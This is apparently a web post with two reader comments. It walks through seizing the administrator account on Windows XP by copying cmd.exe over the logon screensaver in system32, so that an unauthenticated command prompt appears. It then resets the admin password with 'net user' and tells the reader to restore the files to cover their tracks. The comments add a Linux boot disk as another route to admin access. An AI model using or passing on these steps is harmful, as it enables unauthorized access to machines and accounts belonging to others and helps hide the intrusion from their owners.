How to Hack a Window XP Admins Password

59

By the williams pres

This is a cool little trick I’ve picked up in my travels and decided to share it with you fine and ethical individuals =). Log in and go to your DOS command prompt and enter these commands exactly:

cd\

cd\windows\system32

mkdir temphack

copy logon.scr temphack\logon.scr

copy cmd.exe temphack\cmd.exe

del logon.scr

rename cmd.exe logon.scr

exit

So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.

so... step one is "LOG IN" ...... anyone else find this comical? or is this situation assuming you have a limited account and need to gain admin access. in anycase i stil find the linux boot disk the best way to gain admin access to any 2000/XP machine without needing any user access.

Maybe I'm wrong but for what I know linux can't mkdir in a NTFS partition (Windows XP).

P.S: I'm a linux user.
